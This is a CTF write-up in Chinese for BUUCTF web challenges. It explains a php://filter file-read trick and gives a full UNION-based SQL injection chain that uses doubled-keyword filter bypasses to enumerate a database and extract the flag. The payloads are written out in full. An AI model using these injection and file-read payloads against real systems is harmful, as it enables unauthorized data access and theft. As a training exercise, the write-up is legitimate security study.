buuctf web刷题笔记

[极客大挑战 2019]EasySQL

题目类型:简单的SQL注入
直接万能密码

buuctf web刷题笔记_第1张图片

[极客大挑战 2019]Havefun

题目类型:代码审计

查看源代码

Syclover @ cl4y

代码审计
有一个cat变量,通过get方式传参,如果cat=dog输出flag
使用构造payload:/?cat=dog

buuctf web刷题笔记_第2张图片

重要的知识点——PHP封装协议

重要的知识点——PHP封装协议:
php://filter/read=convert.base64-encode/resource=xxx.php
php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取;根据名字filter,可以很容易想到这个协议可以用来过滤一些东西; 使用不同的参数可以达到不同的目的和效果:
resource=<要过滤的数据流> 指定了你要筛选过滤的数据流。 必选
read=<读链的筛选列表>可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
write=<写链的筛选列表> 可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
<;两个链的筛选列表> 任何没有以 read= 或write=作前缀 的筛选器列表会视情况应用于读或写链。
php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。
read=convert.base64-encode,用base64编码输出,不然会直接当做php代码执行,看不到源代码内容。
 

[极客大挑战 2019]BabySQL
题目类型:SQL注入

buuctf web刷题笔记_第3张图片
输入用户名为admin,密码为1'

buuctf web刷题笔记_第4张图片

由报错信息可知存在SQL注入漏洞

buuctf web刷题笔记_第5张图片

先试一下常规注入:/check.php?username=admin&password=1' union select 1#

buuctf web刷题笔记_第6张图片

根据报错信息猜测union 、select可能被过滤了,试一下双写绕过
/check.php?username=admin&password=1' ununionion seselectlect 1#

buuctf web刷题笔记_第7张图片

继续报错,URL编码试一下,然后试列数
payload:/check.php?username=admin&password=1' ununionion seselectlect 1,2,3%23

buuctf web刷题笔记_第8张图片
出现回显位置2和3

爆数据库:/check.php?username=admin&password=1' ununionion seselectlect 1,2,group_concat(schema_name)frfromom(infoorrmation_schema.schemata) %23

buuctf web刷题笔记_第9张图片
猜测flag在ctf里
爆表:/check.php?username=admin&password=1' ununionion seselectlect 1,2, group_concat(table_name)frfromom(infoorrmation_schema.tables) whwhereere table_schema="ctf" %23

buuctf web刷题笔记_第10张图片

查字段名:/check.php?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere table_name="Flag"%23

buuctf web刷题笔记_第11张图片

/check.php?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(flag) frfromom(ctf.Flag)%23

buuctf web刷题笔记_第12张图片

参考链接:https://blog.csdn.net/m0_52923241/article/details/119641325

MySQL数据库基础 http://t.csdnimg.cn/Kaqp8

你可能感兴趣的:(笔记,学习)